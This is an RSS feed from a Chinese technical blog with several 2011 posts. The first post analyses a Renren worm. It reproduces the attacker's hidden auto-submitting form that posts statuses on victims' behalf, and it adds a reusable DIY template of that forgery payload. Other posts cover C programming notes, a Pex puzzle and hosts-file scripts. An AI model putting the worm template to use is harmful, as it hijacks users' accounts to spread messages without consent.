<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>瑶池西望 · 紫气东来</title>
	<atom:link href="http://logicmd.net/feed/" rel="self" type="application/rss+xml" />
	<link>http://logicmd.net</link>
	<description>记录点滴技术生活</description>
	<lastBuildDate>Mon, 20 Feb 2012 09:15:07 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>通过‘人人网6周年’活动发布的XSS分析</title>
		<link>http://logicmd.net/2011/12/once-more-another-xss-flaw-found-in-renren/</link>
		<comments>http://logicmd.net/2011/12/once-more-another-xss-flaw-found-in-renren/#comments</comments>
		<pubDate>Sat, 10 Dec 2011 06:52:43 +0000</pubDate>
		<dc:creator>logicmd</dc:creator>
				<category><![CDATA[Development]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[Hacker]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://logicmd.net/?p=42912</guid>
		<description><![CDATA[大约半年前，人人弄出国站内信”暗恋门”XSS的漏洞，盗取cookies，病毒分发站内信，曾有童鞋撰文分析过这个事件。（传送门）
今天，满屏的姜姝君（没截图，人人自己公关删太快了）和后来的技术宅改变世界的状态都是这次XSS的具体体现


表现在，点击URL以后，立马也会发一个同样状态，LZ也有中招，翻看技术宅改变世界http://www.wix.com/active93/active93）的源代码

可以在header中看到
&#60;script type=&#34;text/javascript&#34;&#62;
    //&#60;![CDATA[
    var  [...]]]></description>
			<content:encoded><![CDATA[<p>大约半年前，人人弄出国站内信”暗恋门”<span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/xss/" title="查看 XSS 中的全部文章" target="_blank">XSS</a></span>的漏洞，盗取cookies，病毒分发站内信，曾有童鞋撰文分析过这个事件。（<a title="人人网站内信被XSS攻击" href="http://blog.fangjian.me/archives/236" rel="nofollow">传送门</a>）</p>
<p>今天，满屏的<strong>姜姝君</strong>（没截图，人人自己公关删太快了）和后来的<strong>技术宅改变世界</strong>的状态都是这次<span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/xss/" title="查看 XSS 中的全部文章" target="_blank">XSS</a></span>的具体体现</p>
<p style="text-align: center;"><a href="http://logicmd.net/wp-content/uploads/2011/12/screenshot2.png"><img class="size-full wp-image-42915 aligncenter" title="screenshot-twitter" src="http://logicmd.net/wp-content/uploads/2011/12/screenshot2.png" alt="" width="434" height="214" /></a></p>
<p style="text-align: center;"><a href="http://logicmd.net/wp-content/uploads/2011/12/screenshot.png"><img class="size-full wp-image-42913 aligncenter" title="screenshot" src="http://logicmd.net/wp-content/uploads/2011/12/screenshot.png" alt="" width="454" height="83" /></a></p>
<p>表现在，点击URL以后，立马也会发一个同样状态，LZ也有中招，翻看技术宅改变世界http://www.wix.com/active93/active93）的源代码<br />
<span id="more-42912"></span><br />
可以在header中看到</p>
<pre class="brush:js">&lt;script type=&quot;text/javascript&quot;&gt;
    //&lt;![CDATA[
    var serviceTopology = {&quot;serverName&quot;:&quot;apu1.wixpress.com&quot;,&quot;cacheKillerVersion&quot;:&quot;v=527&quot;,&quot;staticServerUrl&quot;:&quot;http://static.wix.com&quot;,&quot;biServerUrl&quot;:&quot;http://frog.wix.com&quot;,&quot;userServerUrl&quot;:&quot;http://users.wix.com&quot;,&quot;billingServerUrl&quot;:&quot;http://premium.wix.com&quot;,&quot;mediaRootUrl&quot;:&quot;http://0.static.wix.com&quot;,&quot;htmlComponentServerUrl&quot;:&quot;http://www.flashquix.com/embeds&quot;,&quot;logServerUrl&quot;:&quot;http://frog.wix.com/plebs&quot;,&quot;monitoringServerUrl&quot;:&quot;http://TODO&quot;};
...
//]]&gt;
&lt;/script&gt;</pre>
<p>实际调用了http://www.flashquix.com/embeds/e50c529dd937433ca83f67a8d4c8291a?wrap=no&amp;gzip=true&amp;bg=transparent</p>
<p>这个js，别直接点开，否者就会执行这个js了 =。=</p>
<p>chrome里打开view-source:http://www.flashquix.com/embeds/e50c529dd937433ca83f67a8d4c8291a?wrap=no&amp;gzip=true&amp;bg=transparent</p>
<p>（或者其他你喜欢的浏览器替换view-source:部分）</p>
<p>安全查看这个js的源码</p>
<p>发现</p>
<pre class="brush:xml; highlight: [28, 29, 30, 31, 32, 38]">&lt;html&gt;
&lt;head&gt;
    &lt;title&gt;&lt;/title&gt;
    &lt;style type=&quot;text/css&quot;&gt;
        html, body {
            height: 100%;
        }
        body {
            margin: 0;
            padding: 0;
        }
    &lt;/style&gt;
&lt;/head&gt;
&lt;body bgcolor=&quot;transparent&quot;&gt;
  &lt;html&gt;
&lt;head&gt;
&lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=UTF-8&quot; /&gt;
&lt;title&gt;Thanks for you click.&lt;/title&gt;

&lt;/head&gt;
&lt;body&gt;
&lt;iframe name=&quot;destination&quot; width=&quot;0&quot; height=&quot;0&quot;&gt;&lt;/iframe&gt;

This is the TRUTH. Just major in COMPUTER SCIENCE!!!

&lt;div id=&quot;kokia&quot; style=&quot;float:left;display:none;&quot;&gt;

&lt;form id=&quot;akiko&quot; name=&quot;akiko&quot; action=&quot;http://6.renren.com/sixyears/publish&quot; method=&quot;POST&quot; target=&quot;destination&quot;&gt;
  &lt;p&gt;type: &lt;input type=&quot;text&quot; name=&quot;type&quot; value=&quot;2&quot;/&gt;&lt;/p&gt;
  &lt;p&gt;raw: &lt;input type=&quot;text&quot; name=&quot;raw&quot; value=&quot;技术宅改变世界。。。http://www.wix.com/active93/active93&quot;/&gt;&lt;/p&gt;
  &lt;input type=&quot;submit&quot; value=&quot;Submit&quot; /&gt;
&lt;/form&gt;
&lt;/form&gt;

&lt;/div&gt;

&lt;script&gt;
	document.akiko.submit();
&lt;/script&gt;
&lt;script type=&quot;text/javascript&quot;&gt;var _bdhmProtocol = ((&quot;https:&quot; == document.location.protocol) ? &quot; https://&quot; : &quot; http://&quot;);document.write(unescape(&quot;%3Cscript src=&#039;&quot; + _bdhmProtocol + &quot;hm.baidu.com/h.js%3F278a7f54490f000cde62d2dbfed2f0b7&#039; type=&#039;text/javascript&#039;%3E%3C/script%3E&quot;));&lt;/script&gt;

&lt;/body&gt;

&lt;/html&gt;

&lt;/body&gt;
&lt;/html&gt;</pre>
<p>主要内容就是这个post了，<strong>额，人人在post时候没有检查post来源，应该就是这次<span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/xss/" title="查看 XSS 中的全部文章" target="_blank">XSS</a></span>的主要原因。</strong></p>
<p>这次似乎没有窃取cookies，一点见解，大牛勿拍</p>
<p>&nbsp;</p>
<p>Update: 如何DIY一个人人XSS，伸手党点<a title="直接复制会跪掉的亲" href="http://notepad.cc/share/XHsT5EoXN7" rel="nofollow" target="_blank">这里</a></p>
<pre class="brush:xml">&lt;html&gt;
	&lt;head&gt;
		&lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=UTF-8&quot; /&gt;
		&lt;title&gt;你需要的html标题&lt;/title&gt;
	&lt;/head&gt;
	&lt;body&gt;
		&lt;iframe name=&quot;destination&quot; width=&quot;0&quot; height=&quot;0&quot;&gt;&lt;/iframe&gt;
		&lt;h2&gt;内容标题啊&lt;/h2&gt;
		&lt;p&gt;内容啊&lt;/p&gt;
		&lt;div id=&quot;kokia&quot; style=&quot;float:left;display:none;&quot;&gt;
			&lt;form id=&quot;akiko&quot; name=&quot;akiko&quot; action=&quot;http://6.renren.com/sixyears/publish&quot; method=&quot;POST&quot; target=&quot;destination&quot;&gt;
				&lt;p&gt;type: &lt;input type=&quot;text&quot; name=&quot;type&quot; value=&quot;2&quot;/&gt;&lt;/p&gt;
				&lt;p&gt;raw: &lt;input type=&quot;text&quot; name=&quot;raw&quot; value=&quot;状态内容，记得加上本URL哦，亲  &quot;/&gt;&lt;/p&gt;
				&lt;input type=&quot;submit&quot; value=&quot;Submit&quot; /&gt;
			&lt;/form&gt;
		&lt;/div&gt;
		&lt;script&gt;
			document.akiko.submit();
		&lt;/script&gt;
		&lt;!--来个图片神马的--&gt;
		&lt;image src=&quot;imageURL&quot;&gt;&lt;/image&gt;
	&lt;/body&gt;
&lt;/html&gt;</pre>
]]></content:encoded>
			<wfw:commentRss>http://logicmd.net/2011/12/once-more-another-xss-flaw-found-in-renren/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Monologue on Programming</title>
		<link>http://logicmd.net/2011/09/monologue-on-programming/</link>
		<comments>http://logicmd.net/2011/09/monologue-on-programming/#comments</comments>
		<pubDate>Fri, 30 Sep 2011 07:26:03 +0000</pubDate>
		<dc:creator>logicmd</dc:creator>
				<category><![CDATA[C/C++]]></category>
		<category><![CDATA[Development]]></category>
		<category><![CDATA[Monologue]]></category>
		<category><![CDATA[Programming]]></category>

		<guid isPermaLink="false">http://logicmd.net/?p=42904</guid>
		<description><![CDATA[1.声明变量尽量在函数开头
#include &#60;stdio.h&#62;
#include &#60;string.h&#62;
char name[]=”mygogou”;
int main()
{
    char output[8];
    strcpy(output, name);
    for(int i=0;i&#60;8&#38;&#38;name[i];i++)
    printf(“\\0x%x”,name[i]);
    return 0;
}
写在.c文件中会编译报错。
Compiling…
tmsg.c
E:\as\vc-code\1\tmsg.c(8) : error C2143: syntax  [...]]]></description>
			<content:encoded><![CDATA[<h2>1.声明变量尽量在函数开头</h2>
<pre class="brush:cpp">#include &lt;stdio.h&gt;
#include &lt;string.h&gt;
char name[]=”mygogou”;
int main()
{
    char output[8];
    strcpy(output, name);
    for(int i=0;i&lt;8&amp;&amp;name[i];i++)
    printf(“\\0x%x”,name[i]);
    return 0;
}</pre>
<p>写在.c文件中会编译报错。</p>
<pre class="brush:plain">Compiling…
tmsg.c
E:\as\vc-code\1\tmsg.c(8) : error C2143: syntax error : missing ‘;’ before ‘type’</pre>
<p>经查证这是因为c和c++关于变量声明的一点点不同：<br />
<span id="more-42904"></span></p>
<blockquote><p>C语言是要求你必须将变量在函数开始处进行声明的，不支持在任意地方声明变量。</p></blockquote>
<p>因此换成这样的就编译通过啦：</p>
<pre class="brush:cpp">#include &lt;stdio.h&gt;
#include &lt;string.h&gt;
char name[]=”mygogou”;
int main()
{
    char output[8];
    int i;
    strcpy(output, name);
    for(i=0;i&lt;8&amp;&amp;name[i];i++)
    printf(“\\0x%x”,name[i]);
    return 0;
}</pre>
<p>在C++语言中无这种限制。但是个人倾向于将声明放在函数开头部分，参加3GLive期间的问题。</p>
<h2>2.fwrite和fprintf存在缓冲区</h2>
<p>是先写到内存的，fprintf,fwrite都是从用户缓冲写到标准io的缓冲，然后从标准io的缓冲到内核缓冲，最后才由操作系统写入文件。</p>
<ol>
<li>文件缓冲区滿时自动写入文件</li>
<li>强制文件缓冲区时自动写入文件：如fflush(),fclose()及程序结束等</li>
</ol>
<p>因而一定记得fflsuh()和fclose()否则，当程序没有正常返回，Ctrl-C或者crash时，buffer就被drop鸟。</p>
<pre class="brush:cpp">int main()
{
	FILE *fpRead, *fpWrite;
	if((fpRead = fopen(&quot;d:\\test.txt&quot;, &quot;r&quot;)) != NULL)
    {
		if(remove(&quot;d:\\test.txt&quot;)==-1)
		{
			printf(&quot;could not delete.&quot;);
		}
    }
	fpWrite=fopen(&quot;d:\\test.txt&quot;, &quot;at+&quot;);
	char x[11]=&quot;FUCK YOU2!&quot;;
	//fwrite(x, sizeof(x[0]), sizeof(x)/sizeof(x[0]), fpWrite);
	for(int i=0; i&lt;11; i++)
	{
		fprintf(fpWrite, &quot;%c&quot;, x[i]);
	}
	fprintf(fpWrite, &quot;\n&quot;);
	fprintf(fpWrite, &quot;hello&quot;);
	fflush(fpWrite);
	return 0;
}</pre>
]]></content:encoded>
			<wfw:commentRss>http://logicmd.net/2011/09/monologue-on-programming/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>#pex4fun Challenge 2nd Fibonacci</title>
		<link>http://logicmd.net/2011/09/pex4fun-challenge-2nd-fibonacci/</link>
		<comments>http://logicmd.net/2011/09/pex4fun-challenge-2nd-fibonacci/#comments</comments>
		<pubDate>Thu, 15 Sep 2011 07:09:34 +0000</pubDate>
		<dc:creator>logicmd</dc:creator>
				<category><![CDATA[C#]]></category>
		<category><![CDATA[Development]]></category>
		<category><![CDATA[Fibonacci]]></category>
		<category><![CDATA[Pex]]></category>

		<guid isPermaLink="false">http://logicmd.net/?p=42902</guid>
		<description><![CDATA[
Pex is Automated White box Testing for .NET from Microsoft Research.
Pex for fun on the web is a radically simplified version of the fully featured Pex Power Tool for Visual Studio.
Challenge Fibonacci 2 is a kind of the simplest recursive problem after you find out the duel is actually second  [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://logicmd.net/wp-content/uploads/2011/09/PexWeb2.png"><img class=" wp-image-42906 aligncenter" title="PexWeb2" src="http://logicmd.net/wp-content/uploads/2011/09/PexWeb2.png" alt="" width="533" height="88" /></a></p>
<p><span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/pex/" title="查看 Pex 中的全部文章" target="_blank">Pex</a></span> is Automated White box Testing for .NET from Microsoft Research.</p>
<p><a href="http://pexforfun.com" rel="nofollow" target="_blank">Pex for fun</a> on the web is a radically simplified version of the fully featured <span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/pex/" title="查看 Pex 中的全部文章" target="_blank">Pex</a></span> Power Tool for Visual Studio.</p>
<p><a href="http://pexforfun.com/default.aspx?language=CSharp&amp;sample=ChallengeFibonacci2" rel="nofollow" target="_blank">Challenge Fibonacci 2</a> is a kind of the simplest recursive problem after you find out the duel is actually second order <span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/fibonacci/" title="查看 Fibonacci 中的全部文章" target="_blank">Fibonacci</a></span> array.</p>
<pre class="brush:csharp">using System;

public class Program {
  public static int Puzzle(int x) {
    // Can you write code to solve the puzzle? Ask Pex to see how close you are.
    if (x &lt;= 1) return x;
    if (x == 2) return 3;

    return Puzzle(x-1)*2 - Puzzle(x-3);
  }
}</pre>
]]></content:encoded>
			<wfw:commentRss>http://logicmd.net/2011/09/pex4fun-challenge-2nd-fibonacci/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Google Host Patch自动获取脚本</title>
		<link>http://logicmd.net/2011/07/automatically-get-google-host-patch-script/</link>
		<comments>http://logicmd.net/2011/07/automatically-get-google-host-patch-script/#comments</comments>
		<pubDate>Mon, 18 Jul 2011 02:55:11 +0000</pubDate>
		<dc:creator>logicmd</dc:creator>
				<category><![CDATA[Development]]></category>
		<category><![CDATA[Shell/Batch]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[Host]]></category>
		<category><![CDATA[Script]]></category>

		<guid isPermaLink="false">http://logicmd.net/?p=42442</guid>
		<description><![CDATA[Google最近发布了Google Plus，但是几乎是刚刚一发布就无法访问，同时面对着GMail，Google搜索越来越频繁的连接阻断问题，我们急需要一个方案来更方便的访问Google服务。
如果在校园网中，IPv6无疑是一个良好的解决方案，本博这篇文章给出了相关方法，在Google Code上也有一个Project专门维护Google IPv6的Host列表。
但是在没有IPv6环境的情况，这个自动脚本就有了意义。本脚本最初来自Google+ 上的Felix Hsu，他已发布正式版，但是我还是个人更喜欢这个version 3一些~ XD
Windows  [...]]]></description>
			<content:encoded><![CDATA[<p><span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/google/" title="查看 Google 中的全部文章" target="_blank">Google</a></span>最近发布了<span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/google/" title="查看 Google 中的全部文章" target="_blank">Google</a></span> Plus，但是几乎是刚刚一发布就无法访问，同时面对着GMail，<span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/google/" title="查看 Google 中的全部文章" target="_blank">Google</a></span>搜索越来越频繁的连接阻断问题，我们急需要一个方案来更方便的访问<span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/google/" title="查看 Google 中的全部文章" target="_blank">Google</a></span>服务。</p>
<p>如果在校园网中，IPv6无疑是一个良好的解决方案，<a title="ipv6高速访问国外网站" href="http://logicmd.net/2010/04/high-speed-visiting-abroad-websites-using-ipv6/" target="_blank">本博这篇文章</a>给出了相关方法，在Google Code上也有一个<a href="http://code.google.com/p/ipv6-hosts/source/browse/hosts" rel="nofollow" target="_blank">Project</a>专门维护Google IPv6的<span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/host/" title="查看 Host 中的全部文章" target="_blank">Host</a></span>列表。</p>
<p>但是在没有IPv6环境的情况，这个自动脚本就有了意义。本脚本最初来自Google+ 上的<a href="https://plus.google.com/102216617437795883914/about" rel="nofollow" target="_blank">Felix Hsu</a>，他已发布<a href="https://plus.google.com/102216617437795883914/posts/EzYX2HJjm61" rel="nofollow" target="_blank">正式版</a>，但是我还是个人更喜欢这个version 3一些~ XD</p>
<p>Windows Vista/7用户在开启UAC的情况下需要“右键-&gt;以管理员的身份运行”</p>
<p><a href="http://logicmd.net/wp-content/uploads/2011/07/hostsp_v3.bat" rel="nofollow">点击此下载该脚本</a><br />
建议大家使用<a href="http://code.google.com/p/smarthosts/" rel="nofollow">smarthosts</a><span id="more-42442"></span></p>
<pre class="brush:shell">@echo off
REM 欢迎圈我,在顶栏的&quot;查找人员&quot;处输入Felix Hsu即可
REM Mod by logicmd
REM 准备工作,先清一下DNS缓存,再备份hosts
ipconfig /flushdns
cls

REM 测试时有的朋友会不耐烦的点掉,咱提示一下:
echo Google+ hosts自动修改脚本
echo 请稍等一下,正在通过网络获取可用IP

REM 然后ping www.google.cn和www.google.com以获取最新的IP,赋值%CNIP%和%COMIP%
REM ping ditu.google.cn获取最新的IP,赋值%MAPIP%

for /f &quot;tokens=2 delims=[]&quot; %%i in (&#039;ping www.g.cn&#039;) do set CNIP=%%i
for /f &quot;tokens=2 delims=[]&quot; %%i in (&#039;ping www.l.google.com&#039;) do set COMIP=%%i
for /f &quot;tokens=2 delims=[]&quot; %%i in (&#039;ping ditu.google.cn&#039;) do set MAPIP=%%i

REM 找到之前改过的行,删掉,很stupid的方法...
type %windir%\System32\drivers\etc\hosts|find &quot;#THISISNOTE&quot; /i /v|find &quot;#Google Plus&quot; /i /v|findstr &quot;.&quot; &gt;&gt;%windir%\System32\drivers\etc\hosts2
ren %windir%\System32\drivers\etc\hosts hosts3
ren %windir%\System32\drivers\etc\hosts2 hosts
del hosts3 /s /q

REM 为了美观和避免直接在文件末尾添加的惨剧,咱空一行
echo.  &gt;&gt;%windir%\System32\drivers\etc\hosts
echo #Google Plus &gt;&gt;%windir%\System32\drivers\etc\hosts

REM 把获取到的%CNIP%和%COMIP%给写进去,为了方便以后可以删除,加了一个#THISISNOTE 的注释,我实在是想不出怎么做了,望见谅
echo %CNIP% plus.google.com  #THISISNOTE &gt;&gt;%windir%\System32\drivers\etc\hosts
echo %CNIP% talkgadget.google.com  #THISISNOTE &gt;&gt;%windir%\System32\drivers\etc\hosts
echo %COMIP% picasaweb.google.com  #THISISNOTE &gt;&gt;%windir%\System32\drivers\etc\hosts
echo %COMIP% lh1.ggpht.com  #THISISNOTE &gt;&gt;%windir%\System32\drivers\etc\hosts
echo %COMIP% lh2.ggpht.com  #THISISNOTE &gt;&gt;%windir%\System32\drivers\etc\hosts
echo %COMIP% lh3.ggpht.com  #THISISNOTE &gt;&gt;%windir%\System32\drivers\etc\hosts
echo %COMIP% lh4.ggpht.com  #THISISNOTE &gt;&gt;%windir%\System32\drivers\etc\hosts
echo %COMIP% lh5.ggpht.com  #THISISNOTE &gt;&gt;%windir%\System32\drivers\etc\hosts
echo %COMIP% lh6.ggpht.com  #THISISNOTE &gt;&gt;%windir%\System32\drivers\etc\hosts
echo %CNIP% lh6.googleusercontent.com  #THISISNOTE &gt;&gt;%windir%\System32\drivers\etc\hosts
echo %CNIP% lh5.googleusercontent.com  #THISISNOTE &gt;&gt;%windir%\System32\drivers\etc\hosts
echo %CNIP% lh4.googleusercontent.com  #THISISNOTE &gt;&gt;%windir%\System32\drivers\etc\hosts
echo %CNIP% lh3.googleusercontent.com  #THISISNOTE &gt;&gt;%windir%\System32\drivers\etc\hosts
echo %CNIP% lh2.googleusercontent.com  #THISISNOTE &gt;&gt;%windir%\System32\drivers\etc\hosts
echo %CNIP% lh1.googleusercontent.com  #THISISNOTE &gt;&gt;%windir%\System32\drivers\etc\hosts
echo %CNIP% plus.google.com.hk  #THISISNOTE &gt;&gt;%windir%\System32\drivers\etc\hosts
echo %CNIP% plusone.google.com  #THISISNOTE &gt;&gt;%windir%\System32\drivers\etc\hosts
echo %CNIP% s2.googleusercontent.com  #THISISNOTE &gt;&gt;%windir%\System32\drivers\etc\hosts
echo %CNIP% s1.googleusercontent.com  #THISISNOTE &gt;&gt;%windir%\System32\drivers\etc\hosts
echo %CNIP% images1-focus-opensocial.googleusercontent.com  #THISISNOTE &gt;&gt;%windir%\System32\drivers\etc\hosts
echo %CNIP% images2-focus-opensocial.googleusercontent.com  #THISISNOTE &gt;&gt;%windir%\System32\drivers\etc\hosts
echo %CNIP% images3-focus-opensocial.googleusercontent.com  #THISISNOTE &gt;&gt;%windir%\System32\drivers\etc\hosts
echo %CNIP% images4-focus-opensocial.googleusercontent.com  #THISISNOTE &gt;&gt;%windir%\System32\drivers\etc\hosts
echo %CNIP% images5-focus-opensocial.googleusercontent.com  #THISISNOTE &gt;&gt;%windir%\System32\drivers\etc\hosts
echo %CNIP% images6-focus-opensocial.googleusercontent.com  #THISISNOTE &gt;&gt;%windir%\System32\drivers\etc\hosts
echo %CNIP% images-pos-opensocial.googleusercontent.com  #THISISNOTE &gt;&gt;%windir%\System32\drivers\etc\hosts
echo %CNIP% maps-api-ssl.google.com #THISISNOTE &gt;&gt;%windir%\System32\drivers\etc\hosts
echo #THISISNOTE &gt;&gt;%windir%\System32\drivers\etc\hosts
echo %CNIP% www.google.com.hk  #THISISNOTE &gt;&gt;%windir%\System32\drivers\etc\hosts
echo %CNIP% www.google.com  #THISISNOTE &gt;&gt;%windir%\System32\drivers\etc\hosts
echo %CNIP% webcache.googleusercontent.com  #THISISNOTE &gt;&gt;%windir%\System32\drivers\etc\hosts
echo #THISISNOTE &gt;&gt;%windir%\System32\drivers\etc\hosts
echo %CNIP% mail.google.com #THISISNOTE &gt;&gt;%windir%\System32\drivers\etc\hosts
echo %CNIP% www.googlelabs.com #THISISNOTE &gt;&gt;%windir%\System32\drivers\etc\hosts
echo %CNIP% docs.google.com  #THISISNOTE &gt;&gt;%windir%\System32\drivers\etc\hosts
echo %CNIP% plus.google.com #THISISNOTE &gt;&gt;%windir%\System32\drivers\etc\hosts
echo %CNIP% profiles.google.com #THISISNOTE &gt;&gt;%windir%\System32\drivers\etc\hosts
echo %CNIP% services.google.com #THISISNOTE &gt;&gt;%windir%\System32\drivers\etc\hosts
echo %CNIP% clients4.google.com #THISISNOTE &gt;&gt;%windir%\System32\drivers\etc\hosts
echo %CNIP% clients2.google.com #THISISNOTE &gt;&gt;%windir%\System32\drivers\etc\hosts
echo %CNIP% chrome.google.com #THISISNOTE &gt;&gt;%windir%\System32\drivers\etc\hosts
echo %CNIP% tools.google.com #THISISNOTE &gt;&gt;%windir%\System32\drivers\etc\hosts 

REM 把获取到的%MAPIP%
echo %MAPIP% maps.google.com  #THISISNOTE &gt;&gt;%windir%\System32\drivers\etc\hosts
echo %MAPIP% ditu.google.com  #THISISNOTE &gt;&gt;%windir%\System32\drivers\etc\hosts  

REM ok,搞定
echo 您的hosts编辑完成.
REM 按任意键继续的功能千万别有,否则别人问你按任意键是神马意思的话...</pre>
<blockquote><p>UPDATE：建议大家使用<a href="http://code.google.com/p/smarthosts/" rel="nofollow">smarthosts</a></p></blockquote>
<h2>FAQ[<a href="#c1">1</a>]</h2>
<ul>
<li>这些IP是否可靠？</li>
</ul>
<p style="padding-left: 30px;">这些IP都来自于GoogleCN在BJ的数据中心，包括大约30个C段IP（203.208.32.0 &#8211; 203.208.63.255）</p>
<ul>
<li>这些IP都在国内理论上将是否能够一直可用？</li>
</ul>
<p style="padding-left: 30px;">不能保证未来的可用性。</p>
<ul>
<li>用这些<span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/host/" title="查看 Host 中的全部文章" target="_blank">Host</a></span>是否意味着Google用户的Mail/Plus/Picasa存在BJ的数据中心的呢？还是采用的反向代理或者隧道一类的技术？</li>
</ul>
<p style="padding-left: 30px;">只是反向代理，谷歌分布式系统中的 Web server 部分，参见 [<a href="#c2">2</a>]。</p>
<h2>Promotion</h2>
<p>最后，荒淫大家来<a href="http://gplus.to/logicmd" rel="nofollow" target="_blank">圈</a>我。</p>
<p><a href="http://logicmd.net/wp-content/uploads/2011/07/moving_to_Gplus.png"><img class="aligncenter size-medium wp-image-42446" title="moving_to_Gplus" src="http://logicmd.net/wp-content/uploads/2011/07/moving_to_Gplus.png" alt="" width="460" height="674" /></a><br />
<a name="c1"></a>[1]<a href="http://www.zhihu.com/question/19749678" rel="nofollow" target="_blank">http://www.zhihu.com/question/19749678</a><br />
<a name="c2"></a>[2][Micro'03] Web search for a planet: The Google cluster architecture <a href="http://static.googleusercontent.com/external_content/untrusted_dlcp/labs.google.com/en//papers/googlecluster-ieee.pdf" rel="nofollow" target="_blank">http://static.googleusercontent.com/external_content/untrusted_dlcp/labs.google.com/en//papers/googlecluster-ieee.pdf</a></p>
]]></content:encoded>
			<wfw:commentRss>http://logicmd.net/2011/07/automatically-get-google-host-patch-script/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>快速切换IPv4/IPv6 host的脚本</title>
		<link>http://logicmd.net/2011/06/a-script-quickly-switch-ipv4-ipv6-host/</link>
		<comments>http://logicmd.net/2011/06/a-script-quickly-switch-ipv4-ipv6-host/#comments</comments>
		<pubDate>Mon, 20 Jun 2011 17:32:52 +0000</pubDate>
		<dc:creator>logicmd</dc:creator>
				<category><![CDATA[Development]]></category>
		<category><![CDATA[Shell/Batch]]></category>
		<category><![CDATA[IPv6]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Script]]></category>
		<category><![CDATA[Windows]]></category>

		<guid isPermaLink="false">http://logicmd.net/?p=42437</guid>
		<description><![CDATA[这篇文章讲了一些Google等国外网站IPv6 host列表。使用它们速度更快，更无束缚。但是如果在一个IPv6经常坏掉的校园网，或者需要经常移动到没有IPv6的网络中，一个切换IPv4/IPv6 host列表的脚本无疑很重要。

Windows平台
Window平台中host列表存放在 %windir%\System32\drivers\etc，我们规定IPv6的hosts存放在hosts.v6，IPv4的hosts存放在hosts.v4，处于其中一个状态时其内容存放在hosts文件中，使用如下batch则可以完成hosts状态的判断。
::	Description:
::	  This  [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://logicmd.net/2010/04/high-speed-visiting-abroad-websites-using-ipv6/">这篇文章</a>讲了一些Google等国外网站<span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/ipv6/" title="查看 IPv6 中的全部文章" target="_blank">IPv6</a></span> host列表。使用它们速度更快，更无<a href="http://www.google.com.hk/search?q=%E7%95%AA%E7%BE%BD%E5%9C%9F%E5%95%AC">束缚</a>。但是如果在一个<span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/ipv6/" title="查看 IPv6 中的全部文章" target="_blank">IPv6</a></span>经常坏掉的校园网，或者需要经常移动到没有<span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/ipv6/" title="查看 IPv6 中的全部文章" target="_blank">IPv6</a></span>的网络中，一个切换IPv4/<span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/ipv6/" title="查看 IPv6 中的全部文章" target="_blank">IPv6</a></span> host列表的脚本无疑很重要。<br />
<span id="more-42437"></span></p>
<h2><span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/windows/" title="查看 Windows 中的全部文章" target="_blank">Windows</a></span>平台</h2>
<p>Window平台中host列表存放在 <code>%windir%\System32\drivers\etc</code>，我们规定<span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/ipv6/" title="查看 IPv6 中的全部文章" target="_blank">IPv6</a></span>的hosts存放在hosts.v6，IPv4的hosts存放在hosts.v4，处于其中一个状态时其内容存放在hosts文件中，使用如下batch则可以完成hosts状态的判断。</p>
<pre class="brush:powershell" title="SwitchHosts.bat">::	Description:
::	  This batch is used to switch host files from ipv4 to ipv6 or the other.

@ECHO OFF
SET FileLocation=%WINDIR%\System32\drivers\etc
SET IPV4FileName=hosts.v4
SET IPV6FileName=hosts.v6
SET TargetFileName=hosts

:: If host.ipv6 exits, switch to IPV6, else switch to IPV4
IF EXIST %FileLocation%\%IPV6FileName% (

	:: Switch to IPV6
	CHOICE /M &quot;Swithed to IPv6?&quot; /T 0020 /D N
	IF ERRORLEVEL 2 GOTO END
	IF ERRORLEVEL 1 ECHO Successfully Switched to IPv6 Hosts!

	REN %FileLocation%\%TargetFileName% %IPV4FileName%
	REN %FileLocation%\%IPV6FileName% %TargetFileName%

) ELSE IF EXIST %FileLocation%\%IPV4FileName% (

	:: Switch to IPV4
	CHOICE /M &quot;Swithed to IPv4?&quot; /T 0020 /D N
	IF ERRORLEVEL 2 GOTO END
	IF ERRORLEVEL 1 ECHO Successfully Switched to IPv4 Hosts!

